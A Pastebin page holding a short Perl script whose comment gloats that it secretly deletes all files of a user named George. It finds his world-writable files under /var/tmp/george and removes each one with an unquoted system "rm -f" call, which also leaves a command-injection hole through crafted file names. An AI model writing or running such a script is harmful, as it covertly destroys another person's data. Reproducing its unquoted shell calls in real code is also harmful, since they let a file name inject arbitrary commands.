Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- $user = "george";
- $filename = sprintf("/tmp/filelist.%d%d%d%d", int(rand(1000000)), int(rand(1000000)), int(rand(1000000)), int(rand(1000000)));
- # I hate George! He's so stupid he stored all his files in /var/tmp and he won't notice that I'm deleting all his files buahahaha
- system "find /var/tmp/george -perm 777 -type f > $filename";
- open IN, "$filename";
- while ($line = <IN>) {
- chomp $line;
- print "File = $line\n";
- system "rm -f $line";
- }
- close IN;
- system "rm -f $filename";
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement